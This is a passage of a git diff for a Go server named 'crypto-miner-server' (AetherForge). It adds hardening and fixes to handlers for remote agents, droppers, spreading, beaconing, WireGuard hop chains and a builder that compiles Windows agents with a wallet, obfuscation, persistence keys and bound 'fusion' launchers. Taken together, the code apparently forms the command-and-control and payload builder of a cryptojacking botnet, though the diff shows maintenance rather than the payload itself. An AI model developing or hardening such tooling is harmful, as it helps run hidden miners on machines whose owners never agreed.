if len(filtered) >= agentWSRateLimitMax {
agentWSRateLim.attempts[clientIP] = filtered
return false
diff --git a/server/internal/api/auth_test.go b/server/internal/api/auth_test.go
index c4fd070..4dd6d5a 100644
--- a/server/internal/api/auth_test.go
+++ b/server/internal/api/auth_test.go
@@ -49,8 +49,8 @@ func TestAuthCacheHitAndMiss(t *testing.T) {
func TestGenerateRandomPasswordLength(t *testing.T) {
pw := generateRandomPassword()
- if len(pw) != 8 {
- t.Fatalf("expected 8-char hex password, got len %d (%q)", len(pw), pw)
+ if len(pw) != 16 {
+ t.Fatalf("expected 16-char hex password (8 random bytes), got len %d (%q)", len(pw), pw)
}
}
diff --git a/server/internal/api/integration_test.go b/server/internal/api/integration_test.go
index 20e1139..9429e1a 100644
--- a/server/internal/api/integration_test.go
+++ b/server/internal/api/integration_test.go
@@ -70,6 +70,7 @@ func newTestRouter(t *testing.T) (http.Handler, *WSHub, *db.Database, string) {
aiHandler := NewAIHandler(database)
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
+ pathForgeHandler := builder.NewPathForgeHandler(dataDir)
blueprintHandler := NewBlueprintHandler(dataDir)
webRoot := filepath.Join(dataDir, "webroot")
@@ -77,7 +78,7 @@ func newTestRouter(t *testing.T) (http.Handler, *WSHub, *db.Database, string) {
_ = os.WriteFile(filepath.Join(webRoot, "index.html"), []byte("AetherForge"), 0644)
dropperHandler := NewDropperHandler(database, dataDir, nil)
- return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, nil, nil, nil, webRoot, dataDir, nil, 8989), wsHub, database, dataDir
+ return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir
}
func serveAuthed(t *testing.T, router http.Handler, method, path string, body []byte) *httptest.ResponseRecorder {
@@ -489,6 +490,14 @@ func TestIntegrationBuilderRoutes(t *testing.T) {
if rec.Code != http.StatusNotFound {
t.Fatalf("cancel missing token expected 404, got %d", rec.Code)
}
+
+ rec = serveAuthed(t, router, http.MethodPost, "/api/v1/builder/path-forge", []byte(`{}`))
+ if rec.Code == http.StatusNotFound {
+ t.Fatal("builder/path-forge route not registered")
+ }
+ if rec.Code != http.StatusBadRequest {
+ t.Fatalf("path-forge without root_path expected 400, got %d", rec.Code)
+ }
}
func TestIntegrationBlueprintsCRUD(t *testing.T) {
diff --git a/server/internal/api/pathtracer_handler.go b/server/internal/api/pathtracer_handler.go
index 9dde2cb..058d6be 100644
--- a/server/internal/api/pathtracer_handler.go
+++ b/server/internal/api/pathtracer_handler.go
@@ -106,12 +106,7 @@ func (h *PathTracerHandler) expireSessions() {
h.mu.Unlock()
for _, sess := range expired {
log.Printf("[pathtrace] session %s expired after %s", sess.ID[:8], pathTraceSessionTTL)
- for _, hop := range sess.Hops {
- _ = h.hub.writeAgentJSON(hop.AgentID, Message{
- Type: "command",
- Payload: mustMarshal(map[string]interface{}{"action": "wg_teardown"}),
- })
- }
+ h.teardownHops(sess.Hops)
}
}
@@ -131,6 +126,23 @@ func (h *PathTracerHandler) Start(w http.ResponseWriter, r *http.Request) {
http.Error(w, "max 3 hops supported", http.StatusBadRequest)
return
}
+ seen := make(map[string]bool, len(req.AgentIDs))
+ for _, id := range req.AgentIDs {
+ id = strings.TrimSpace(id)
+ if id == "" {
+ http.Error(w, "agent_ids required", http.StatusBadRequest)
+ return
+ }
+ if seen[id] {
+ http.Error(w, "duplicate agent_ids", http.StatusBadRequest)
+ return
+ }
+ seen[id] = true
+ if !h.hub.isAgentConnected(id) {
+ http.Error(w, "agent "+id[:min(8, len(id))]+" not connected", http.StatusBadRequest)
+ return
+ }
+ }
clientPriv, clientPub, err := generateServerWGKeyPair()
if err != nil {
@@ -146,11 +158,14 @@ func (h *PathTracerHandler) Start(w http.ResponseWriter, r *http.Request) {
clientPubKey: clientPub,
}
- // Build hops with placeholder names (agent name lookup below).
for i, id := range req.AgentIDs {
+ agentName := fmt.Sprintf("hop-%d", i+1)
+ if ag, err := h.hub.db.GetAgent(id); err == nil && strings.TrimSpace(ag.Name) != "" {
+ agentName = ag.Name
+ }
sess.Hops = append(sess.Hops, &HopInfo{
AgentID: id,
- AgentName: fmt.Sprintf("hop-%d", i+1),
+ AgentName: agentName,
LocalAddr: fmt.Sprintf("10.66.0.%d/24", i+2), // .2, .3, .4
Port: 51820,
Status: HopPending,
@@ -239,13 +254,7 @@ func (h *PathTracerHandler) Delete(w http.ResponseWriter, r *http.Request) {
return
}
- // Tell all agents to tear down.
- for _, hop := range sess.Hops {
- _ = h.hub.writeAgentJSON(hop.AgentID, Message{
- Type: "command",
- Payload: mustMarshal(map[string]interface{}{"action": "wg_teardown"}),
- })
- }
+ h.teardownHops(sess.Hops)
h.mu.Lock()
delete(h.sessions, id)
@@ -326,6 +335,10 @@ func (h *PathTracerHandler) orchestrate(sess *TraceSession) {
r.hop.Status = HopFailed
r.hop.Error = r.err
sess.Error = "hop " + r.hop.AgentID[:8] + " failed: " + r.err
+ } else if strings.TrimSpace(r.pub) == "" || strings.TrimSpace(r.ip) == "" {
+ r.hop.Status = HopFailed
+ r.hop.Error = "missing public key or external IP"
+ sess.Error = "hop " + r.hop.AgentID[:8] + " failed: missing public key or external IP"
} else {
r.hop.PublicKey = r.pub
r.hop.ExternalIP = r.ip
@@ -347,6 +360,7 @@ func (h *PathTracerHandler) orchestrate(sess *TraceSession) {
h.mu.Unlock()
if anyFailed {
log.Printf("[pathtrace] session %s: setup failed", sess.ID[:8])
+ h.teardownHops(sess.Hops)
return
}
@@ -430,11 +444,24 @@ func (h *PathTracerHandler) orchestrate(sess *TraceSession) {
if allReady {
sess.Ready = true
}
+ hops := sess.Hops
h.mu.Unlock()
+ if !allReady {
+ h.teardownHops(hops)
+ }
log.Printf("[pathtrace] session %s: orchestration complete, ready=%v", sess.ID[:8], allReady)
}
+func (h *PathTracerHandler) teardownHops(hops []*HopInfo) {
+ for _, hop := range hops {
+ _ = h.hub.writeAgentJSON(hop.AgentID, Message{
+ Type: "command",
+ Payload: mustMarshal(map[string]interface{}{"action": "wg_teardown"}),
+ })
+ }
+}
+
// buildHopPeers returns WireGuard peer entries for hop index i in the chain.
func buildHopPeers(sess *TraceSession, i int) []map[string]interface{} {
var peers []map[string]interface{}
diff --git a/server/internal/api/pathtracer_handler_test.go b/server/internal/api/pathtracer_handler_test.go
index 346066a..70cd2f0 100644
--- a/server/internal/api/pathtracer_handler_test.go
+++ b/server/internal/api/pathtracer_handler_test.go
@@ -14,6 +14,7 @@ import (
"time"
"crypto-miner-server/internal/db"
+ "crypto-miner-server/internal/models"
"github.com/go-chi/chi/v5"
"github.com/gorilla/websocket"
@@ -367,6 +368,52 @@ func TestPathTracerBuildClientConfig(t *testing.T) {
}
}
+func TestPathTracerStartResolvesAgentName(t *testing.T) {
+ database, err := db.New(t.TempDir())
+ if err != nil {
+ t.Fatal(err)
+ }
+ t.Cleanup(func() { _ = database.Close() })
+
+ agentID := "trace-agent-named"
+ if err := database.UpsertAgent(&models.Agent{
+ ID: agentID,
+ Name: "Edge Node Alpha",
+ Status: "online",
+ }); err != nil {
+ t.Fatal(err)
+ }
+
+ hub := NewWSHub(database)
+ handler := NewPathTracerHandler(hub)
+ startPathTracerAgentResponder(t, hub, agentID, "NAMED_AGENT_PUB")
+ // WS auth overwrites name with hostname; restore operator label for resolution test.
+ if err := database.UpsertAgent(&models.Agent{ID: agentID, Name: "Edge Node Alpha", Status: "online"}); err != nil {
+ t.Fatal(err)
+ }
+
+ body := `{"agent_ids":["` + agentID + `"]}`
+ req := httptest.NewRequest(http.MethodPost, "/pathtrace/start", strings.NewReader(body))
+ rec := httptest.NewRecorder()
+ handler.Start(rec, req)
+ if rec.Code != http.StatusOK {
+ t.Fatalf("start status=%d body=%s", rec.Code, rec.Body.String())
+ }
+
+ var startResp struct {
+ Hops []HopInfo `json:"hops"`
+ }
+ if err := json.Unmarshal(rec.Body.Bytes(), &startResp); err != nil {
+ t.Fatal(err)
+ }
+ if len(startResp.Hops) != 1 {
+ t.Fatalf("expected 1 hop, got %d", len(startResp.Hops))
+ }
+ if startResp.Hops[0].AgentName != "Edge Node Alpha" {
+ t.Fatalf("expected resolved agent name, got %q", startResp.Hops[0].AgentName)
+ }
+}
+
func TestPathTracerStartValidation(t *testing.T) {
h := NewPathTracerHandler(NewWSHub(nil))
req := httptest.NewRequest(http.MethodPost, "/pathtrace/start", bytes.NewReader([]byte(`{}`)))
@@ -375,4 +422,20 @@ func TestPathTracerStartValidation(t *testing.T) {
if rec.Code != http.StatusBadRequest {
t.Fatalf("expected 400, got %d", rec.Code)
}
+
+ dupBody := `{"agent_ids":["agent-a","agent-a"]}`
+ req = httptest.NewRequest(http.MethodPost, "/pathtrace/start", strings.NewReader(dupBody))
+ rec = httptest.NewRecorder()
+ h.Start(rec, req)
+ if rec.Code != http.StatusBadRequest {
+ t.Fatalf("duplicate agent_ids: expected 400, got %d", rec.Code)
+ }
+
+ offlineBody := `{"agent_ids":["offline-agent"]}`
+ req = httptest.NewRequest(http.MethodPost, "/pathtrace/start", strings.NewReader(offlineBody))
+ rec = httptest.NewRecorder()
+ h.Start(rec, req)
+ if rec.Code != http.StatusBadRequest {
+ t.Fatalf("offline agent: expected 400, got %d body=%s", rec.Code, rec.Body.String())
+ }
}
diff --git a/server/internal/api/router.go b/server/internal/api/router.go
index 969d6b1..f8d097b 100644
--- a/server/internal/api/router.go
+++ b/server/internal/api/router.go
@@ -55,6 +55,7 @@ func authCacheHit(user, pass string) bool {
func authCacheSet(user, pass string) {
key := authCacheKey(user, pass)
authSessionCacheMu.Lock()
+ defer authSessionCacheMu.Unlock()
authSessionCache[key] = time.Now().Add(authCacheTTL)
// Prune expired entries opportunistically.
if len(authSessionCache) > 512 {
@@ -65,7 +66,6 @@ func authCacheSet(user, pass string) {
}
}
}
- authSessionCacheMu.Unlock()
}
var (
@@ -356,7 +356,7 @@ func validateDashboardUsername(username string) error {
}
func generateRandomPassword() string {
- b := make([]byte, 4)
+ b := make([]byte, 8)
if _, err := rand.Read(b); err != nil {
return "aether1!"
}
@@ -491,7 +491,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
})
}
-func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, spreadHandler *SpreadHandler, publicHandler *PublicHandler, pathForgeHandler *builder.PathForgeHandler, pathTracerHandler *PathTracerHandler, webRoot string, dataDir string, publicURLOverride func() string, listenPort int, serverVersion ...string) http.Handler {
+func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, spreadHandler *SpreadHandler, publicHandler *PublicHandler, pathForgeHandler *builder.PathForgeHandler, pathTracerHandler *PathTracerHandler, webRoot string, dataDir string, publicURLOverride func() string, listenPort int, cloudflaredConfigured func() bool, serverVersion ...string) http.Handler {
ensureUsersLoaded(dataDir)
version := "AetherForge"
@@ -538,7 +538,11 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
if publicURLOverride != nil {
override = publicURLOverride()
}
- GetServerInfo(w, r, override, listenPort)
+ tunnelReady := false
+ if cloudflaredConfigured != nil {
+ tunnelReady = cloudflaredConfigured()
+ }
+ GetServerInfo(w, r, override, listenPort, tunnelReady)
})
// Dashboard
diff --git a/server/internal/api/router_test.go b/server/internal/api/router_test.go
index cdf85d4..a08e1f8 100644
--- a/server/internal/api/router_test.go
+++ b/server/internal/api/router_test.go
@@ -428,7 +428,7 @@ func TestRouterBuildDownloadAuth(t *testing.T) {
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
blueprintHandler := NewBlueprintHandler(dataDir)
- router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, dataDir, nil), nil, nil, nil, nil, "", dataDir, nil, 8989)
+ router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, dataDir, nil), nil, nil, nil, nil, "", dataDir, nil, 8989, nil)
dlURL := "/api/v1/builds/" + buildID + "/download"
@@ -505,7 +505,7 @@ func TestRouterNoWebRootFallback(t *testing.T) {
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
blueprintHandler := NewBlueprintHandler(dataDir)
- router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, nil, nil, "", dataDir, nil, 8989)
+ router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil)
req := httptest.NewRequest(http.MethodGet, "/", nil)
rec := httptest.NewRecorder()
diff --git a/server/internal/api/server_info.go b/server/internal/api/server_info.go
index aeef59c..265cd3e 100644
--- a/server/internal/api/server_info.go
+++ b/server/internal/api/server_info.go
@@ -5,26 +5,41 @@ import (
"net/http"
"net/url"
"strings"
+ "sync"
+ "time"
+)
+
+var (
+ cachedLocalIPs []string
+ cachedLocalIPsAt time.Time
+ cachedLocalIPsMu sync.Mutex
+ localIPsCacheTTL = 30 * time.Second
)
type ServerInfo struct {
- Port int `json:"port"`
- Host string `json:"host"`
- LocalIPs []string `json:"local_ips"`
- SuggestedURL string `json:"suggested_url"`
- DashboardURL string `json:"dashboard_url"`
- WebSocketURL string `json:"websocket_url"`
+ Port int `json:"port"`
+ Host string `json:"host"`
+ LocalIPs []string `json:"local_ips"`
+ LANURL string `json:"lan_url"`
+ TunnelURL string `json:"tunnel_url,omitempty"`
+ CloudflaredConfigured bool `json:"cloudflared_configured"`
+ SuggestedURL string `json:"suggested_url"`
+ DashboardURL string `json:"dashboard_url"`
+ WebSocketURL string `json:"websocket_url"`
}
// GetServerInfo returns URLs workers and droppers should use to reach this deck.
// When the dashboard is opened via HTTPS reverse proxy (e.g. Cloudflare tunnel),
// suggested_url uses https and omits :443 — not the local listen port (8989).
-func GetServerInfo(w http.ResponseWriter, r *http.Request, publicURLOverride string, listenPort int) {
+// lan_url is always the LAN http endpoint for workers on the same network.
+func GetServerInfo(w http.ResponseWriter, r *http.Request, publicURLOverride string, listenPort int, cloudflaredConfigured bool) {
if listenPort <= 0 {
listenPort = 8989
}
- localIPs := listLocalIPv4()
+ localIPs := listLocalIPv4Cached()
+ lanURL := lanURLFromIPs(localIPs, listenPort)
+ tunnelURL := tunnelURLFromRequest(r)
suggestedURL := resolveSuggestedURL(r, publicURLOverride, listenPort, localIPs)
host := r.Host
@@ -37,17 +52,40 @@ func GetServerInfo(w http.ResponseWriter, r *http.Request, publicURLOverride str
}
info := ServerInfo{
- Port: port,
- Host: host,
- LocalIPs: localIPs,
- SuggestedURL: suggestedURL,
- DashboardURL: suggestedURL,
- WebSocketURL: httpToWS(suggestedURL) + "/ws/agent",
+ Port: port,
+ Host: host,
+ LocalIPs: localIPs,
+ LANURL: lanURL,
+ TunnelURL: tunnelURL,
+ CloudflaredConfigured: cloudflaredConfigured,
+ SuggestedURL: suggestedURL,
+ DashboardURL: suggestedURL,
+ WebSocketURL: httpToWS(suggestedURL) + "/ws/agent",
}
writeJSON(w, info)
}
+func lanURLFromIPs(localIPs []string, listenPort int) string {
+ if len(localIPs) == 0 {
+ return ""
+ }
+ return formatBaseURL("http", localIPs[0], listenPort)
+}
+
+func tunnelURLFromRequest(r *http.Request) string {
+ scheme := requestScheme(r)
+ if scheme != "https" {
+ return ""
+ }
+ host := requestHost(r)
+ hostOnly, port := hostAndPort(host, scheme)
+ if isLoopbackHost(hostOnly) {
+ return ""
+ }
+ return formatBaseURL(scheme, hostOnly, port)
+}
+
func resolveSuggestedURL(r *http.Request, publicOverride string, listenPort int, localIPs []string) string {
if norm := normalizePublicURL(publicOverride); norm != "" {
return norm
@@ -141,6 +179,21 @@ func httpToWS(base string) string {
return "ws://" + strings.TrimPrefix(base, "http://")
}
+func listLocalIPv4Cached() []string {
+ cachedLocalIPsMu.Lock()
+ defer cachedLocalIPsMu.Unlock()
+ if cachedLocalIPs != nil && time.Since(cachedLocalIPsAt) < localIPsCacheTTL {
+ out := make([]string, len(cachedLocalIPs))
+ copy(out, cachedLocalIPs)
+ return out
+ }
+ cachedLocalIPs = listLocalIPv4()
+ cachedLocalIPsAt = time.Now()
+ out := make([]string, len(cachedLocalIPs))
+ copy(out, cachedLocalIPs)
+ return out
+}
+
func listLocalIPv4() []string {
var ips []string
ifaces, err := net.Interfaces()
@@ -187,6 +240,9 @@ func parsePort(s string) int {
return 8989
}
n = n*10 + int(ch-'0')
+ if n > 65535 {
+ return 8989
+ }
}
if n == 0 {
return 8989
diff --git a/server/internal/api/server_info_test.go b/server/internal/api/server_info_test.go
index 6a257e2..0af3f01 100644
--- a/server/internal/api/server_info_test.go
+++ b/server/internal/api/server_info_test.go
@@ -50,7 +50,7 @@ func TestGetServerInfoJSON(t *testing.T) {
req := httptest.NewRequest(http.MethodGet, "/api/v1/server/info", nil)
req.Host = "localhost:8989"
rec := httptest.NewRecorder()
- GetServerInfo(rec, req, "", 8989)
+ GetServerInfo(rec, req, "", 8989, false)
if rec.Code != http.StatusOK {
t.Fatalf("status %d body %s", rec.Code, rec.Body.String())
@@ -71,7 +71,7 @@ func TestGetServerInfoPublicURLOverride(t *testing.T) {
req := httptest.NewRequest(http.MethodGet, "/api/v1/server/info", nil)
req.Host = "localhost:8989"
rec := httptest.NewRecorder()
- GetServerInfo(rec, req, "https://forge.example.com:443", 8989)
+ GetServerInfo(rec, req, "https://forge.example.com:443", 8989, false)
var info ServerInfo
if err := json.Unmarshal(rec.Body.Bytes(), &info); err != nil {
@@ -91,7 +91,7 @@ func TestGetServerInfoHTTPSBehindProxy(t *testing.T) {
req.Header.Set("X-Forwarded-Proto", "https")
req.Header.Set("X-Forwarded-Host", "nothing.thetempleofdoom.com")
rec := httptest.NewRecorder()
- GetServerInfo(rec, req, "", 8989)
+ GetServerInfo(rec, req, "", 8989, true)
var info ServerInfo
if err := json.Unmarshal(rec.Body.Bytes(), &info); err != nil {
@@ -100,4 +100,31 @@ func TestGetServerInfoHTTPSBehindProxy(t *testing.T) {
if info.SuggestedURL != "https://nothing.thetempleofdoom.com" {
t.Fatalf("tunnel URL = %q, want https without :8989", info.SuggestedURL)
}
+ if info.TunnelURL != "https://nothing.thetempleofdoom.com" {
+ t.Fatalf("tunnel_url = %q, want https public endpoint", info.TunnelURL)
+ }
+ if !info.CloudflaredConfigured {
+ t.Fatal("expected cloudflared_configured=true")
+ }
+}
+
+func TestGetServerInfoLANURLFromLocalhost(t *testing.T) {
+ req := httptest.NewRequest(http.MethodGet, "/api/v1/server/info", nil)
+ req.Host = "localhost:8989"
+ rec := httptest.NewRecorder()
+ GetServerInfo(rec, req, "", 8989, false)
+
+ var info ServerInfo
+ if err := json.Unmarshal(rec.Body.Bytes(), &info); err != nil {
+ t.Fatal(err)
+ }
+ if info.TunnelURL != "" {
+ t.Fatalf("tunnel_url should be empty on localhost, got %q", info.TunnelURL)
+ }
+ if len(info.LocalIPs) > 0 && info.LANURL == "" {
+ t.Fatalf("expected lan_url when local IPs present: %+v", info)
+ }
+ if len(info.LocalIPs) > 0 && info.LANURL != formatBaseURL("http", info.LocalIPs[0], 8989) {
+ t.Fatalf("lan_url = %q, want %s", info.LANURL, formatBaseURL("http", info.LocalIPs[0], 8989))
+ }
}
diff --git a/server/internal/api/websocket.go b/server/internal/api/websocket.go
index db206ef..3b6539f 100644
--- a/server/internal/api/websocket.go
+++ b/server/internal/api/websocket.go
@@ -524,7 +524,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
if h.aiHandler != nil {
h.aiHandler.RemoveEngine(agentID)
}
- h.db.SetAgentOffline(agentID)
+ if err := h.db.SetAgentOffline(agentID); err != nil {
+ log.Printf("[hub] SetAgentOffline %s: %v", agentID, err)
+ }
h.broadcastDashboard(Message{
Type: "agent_offline",
Payload: mustMarshal(map[string]string{"agent_id": agentID}),
@@ -753,36 +755,44 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
log.Printf("[WS] Agent connected: id=%s name=%s ip=%s", agentID, displayName, clientIP)
}
- // MaxAgents check + registration in a single Lock to prevent TOCTOU (M17):
- // two concurrent new agents could both pass the count check under RLock, then
- // both get registered, overshooting the limit.
- h.mu.Lock()
- _, alreadyConnected := h.agents[agentID]
- if policy.MaxAgents > 0 {
- if !alreadyConnected && len(h.agents) >= policy.MaxAgents {
- h.mu.Unlock()
- conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
- "success": false, "error": "fleet agent limit reached",
- })})
- break
- }
- }
- if old, ok := h.agents[agentID]; ok && old.Conn != conn {
- oldConn := old.Conn
+ // MaxAgents check + registration in a single Lock to prevent TOCTOU (M17):
+ // two concurrent new agents could both pass the count check under RLock, then
+ // both get registered, overshooting the limit.
+ h.mu.Lock()
+ _, alreadyConnected := h.agents[agentID]
+ if policy.MaxAgents > 0 {
+ if !alreadyConnected && len(h.agents) >= policy.MaxAgents {
h.mu.Unlock()
- oldConn.Close()
- h.mu.Lock()
+ conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
+ "success": false, "error": "fleet agent limit reached",
+ })})
+ break
}
- ac := &AgentConnection{AgentID: agentID, Conn: conn}
- h.agents[agentID] = ac
+ }
+ // startPing tracks whether a new ping goroutine is needed.
+ // If the same connection is re-authing (rare but possible), the existing
+ // ping loop is still healthy — starting a second one would create two
+ // concurrent writers racing on conn.WriteControl.
+ startPing := !alreadyConnected
+ if old, ok := h.agents[agentID]; ok && old.Conn != conn {
+ oldConn := old.Conn
h.mu.Unlock()
+ oldConn.Close()
+ h.mu.Lock()
+ startPing = true // fresh connection after displacing old one
+ }
+ ac := &AgentConnection{AgentID: agentID, Conn: conn}
+ h.agents[agentID] = ac
+ h.mu.Unlock()
- h.FlushBeaconPoliciesToWS(agentID)
- h.FlushBeaconCommandsToWS(agentID)
- h.ClearBeaconTransport(agentID)
+ h.FlushBeaconPoliciesToWS(agentID)
+ h.FlushBeaconCommandsToWS(agentID)
+ h.ClearBeaconTransport(agentID)
- // Start the RTT-aware ping loop now that we have an AgentConnection.
+ // Only start a ping loop for genuinely new connections.
+ if startPing {
go h.runPingLoopAgent(ac)
+ }
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
"success": true,
@@ -1312,13 +1322,11 @@ func (h *WSHub) broadcastDashboard(msg Message) {
for id, dc := range h.dashboards {
if err := dc.WriteMessage(websocket.TextMessage, data); err != nil {
log.Printf("Failed to send to dashboard %s: %v", id, err)
+ // Only close the connection here. HandleDashboardWS owns all map
+ // cleanup via its existing defer — doing it here too would cause a
+ // double-delete that corrupts the remaining-count used for the
+ // presence_update broadcast (SRV-B4).
dc.Conn.Close()
- id := id
- go func() {
- h.mu.Lock()
- delete(h.dashboards, id)
- h.mu.Unlock()
- }()
}
}
}
diff --git a/server/internal/builder/handler.go b/server/internal/builder/handler.go
index 63d7fc8..0dc4c32 100644
--- a/server/internal/builder/handler.go
+++ b/server/internal/builder/handler.go
@@ -317,6 +317,7 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
file.Close()
}
} else {
+ r.Body = http.MaxBytesReader(w, r.Body, 512<<10) // 512 KiB max for JSON-only builds
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid request body"})
return
@@ -529,17 +530,24 @@ func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath st
buildDir, _ := filepath.Abs(filepath.Join(h.dataDir, "builds", buildID))
agentDir := filepath.Join(buildDir, "agent")
+ // cleanupBuild removes the build directory on any error path to avoid
+ // accumulating partial builds (which may contain uploaded payloads or
+ // a copy of the agent source tree).
+ cleanupBuild := func() { _ = os.RemoveAll(buildDir) }
+
if err := os.MkdirAll(agentDir, 0755); err != nil {
return BuildResponse{Success: false, Error: "Failed to create build directory"}, http.StatusInternalServerError, ""
}
if err := h.copyAgentSource(agentDir); err != nil {
+ cleanupBuild()
log.Printf("Failed to copy agent source: %v", err)
return BuildResponse{Success: false, Error: "Failed to prepare agent source: " + err.Error()}, http.StatusInternalServerError, ""
}
configDir := filepath.Join(agentDir, "config")
if err := os.MkdirAll(configDir, 0755); err != nil {
+ cleanupBuild()
return BuildResponse{Success: false, Error: "Failed to create config directory"}, http.StatusInternalServerError, ""
}
@@ -547,6 +555,7 @@ func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath st
p := platforms[0]
outputPath, err := h.compileWorker(ctx, agentDir, buildDir, req, buildID, p, req.FusionEnabled)
if err != nil {
+ cleanupBuild()
log.Printf("Build failed: %v", err)
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
}
@@ -558,6 +567,7 @@ func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath st
uninstallName, uninstallPath, err := h.writeUninstallScript(buildDir, buildID, req)
if err != nil {
+ cleanupBuild()
return BuildResponse{Success: false, Error: "Failed to write uninstall script: " + err.Error()}, http.StatusInternalServerError, ""
}
@@ -570,6 +580,7 @@ func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath st
var err error
fusionRes, err = h.buildFusionFromRequest(ctx, buildDir, prepPath, outputPath, req)
if err != nil {
+ cleanupBuild()
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
}
finalPath = fusionRes.LauncherPath
@@ -850,6 +861,18 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
}
req.OutputDir = clean
}
+ // Cap slice lengths to prevent huge generated source files.
+ const maxBackupPools = 10
+ if len(req.BackupServerURLs) > maxBackupPools {
+ req.BackupServerURLs = req.BackupServerURLs[:maxBackupPools]
+ }
+ if len(req.BackupPools) > maxBackupPools {
+ req.BackupPools = req.BackupPools[:maxBackupPools]
+ }
+ if len(req.RVNBackupPools) > maxBackupPools {
+ req.RVNBackupPools = req.RVNBackupPools[:maxBackupPools]
+ }
+
if req.Threads <= 0 {
req.Threads = 4
}
diff --git a/server/internal/builder/live_forge_smoke_test.go b/server/internal/builder/live_forge_smoke_test.go
new file mode 100644
index 0000000..4e117ed
--- /dev/null
+++ b/server/internal/builder/live_forge_smoke_test.go
@@ -0,0 +1,49 @@
+//go:build liveforge
+
+package builder
+
+import (
+ "context"
+ "os"
+ "strings"
+ "testing"
+ "time"
+)
+
+// TestLiveForgeWindowsSmoke compiles a real Windows agent via buildAgent.
+// Run: go test -tags liveforge -run TestLiveForgeWindowsSmoke -timeout 10m
+func TestLiveForgeWindowsSmoke(t *testing.T) {
+ if os.Getenv("LIVE_FORGE") != "1" {
+ t.Skip("set LIVE_FORGE=1 to run real compile smoke test")
+ }
+ h, database := testHandlerDB(t)
+ defer database.Close()
+ h.SetFleetSecret("live-forge-smoke-secret")
+
+ req := &BuildRequest{
+ TargetOS: "windows",
+ TargetArch: "amd64",
+ WorkerName: "live-smoke",
+ ServerURL: "http://127.0.0.1:8989",
+ Wallet: "48" + strings.Repeat("A", 93),
+ Obfuscate: false,
+ }
+ ctx, cancel := context.WithTimeout(context.Background(), 8*time.Minute)
+ defer cancel()
+
+ resp, code, outputPath := h.buildAgent(ctx, req, "")
+ if code != 200 || !resp.Success {
+ t.Fatalf("build failed: code=%d resp=%+v", code, resp)
+ }
+ if outputPath == "" {
+ t.Fatal("empty output path")
+ }
+ st, err := os.Stat(outputPath)
+ if err != nil {
+ t.Fatalf("output missing: %v", err)
+ }
+ if st.Size() < 1_000_000 {
+ t.Fatalf("output too small: %d bytes", st.Size())
+ }
+ t.Logf("forge ok: %s (%d bytes) build_id=%s", outputPath, st.Size(), resp.BuildID)
+}
diff --git a/server/internal/builder/pathforge.go b/server/internal/builder/pathforge.go
index 815467d..c2a7b18 100644
--- a/server/internal/builder/pathforge.go
+++ b/server/internal/builder/pathforge.go
@@ -91,6 +91,12 @@ func (h *PathForgeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
http.Error(w, "root_path is required", http.StatusBadRequest)
return
}
+ cleanRoot, err := h.validateRootPath(req.RootPath)
+ if err != nil {
+ http.Error(w, "root_path rejected: "+err.Error(), http.StatusBadRequest)
+ return
+ }
+ req.RootPath = cleanRoot
if !req.TargetWindows && !req.TargetMac {
req.TargetWindows = true
req.TargetMac = true
diff --git a/server/internal/builder/uninstall.go b/server/internal/builder/uninstall.go
index cb4864a..4372792 100644
--- a/server/internal/builder/uninstall.go
+++ b/server/internal/builder/uninstall.go
@@ -71,8 +71,9 @@ func resolveInstallBasePS(req *BuildRequest) string {
}
func generateUninstallScript(buildID string, req *BuildRequest) string {
- processName := effectiveProcessName(req)
- persistenceKey := persistenceKeyName(req)
+ // Escape single quotes for PowerShell string literals ('x' → ''x'').
+ processName := strings.ReplaceAll(effectiveProcessName(req), "'", "''")
+ persistenceKey := strings.ReplaceAll(persistenceKeyName(req), "'", "''")
installRel := expandInstallRelativePath(req, buildID)
installBase := resolveInstallBasePS(req)
diff --git a/server/internal/cloudflared/launcher_stub_test.go b/server/internal/cloudflared/launcher_stub_test.go
new file mode 100644
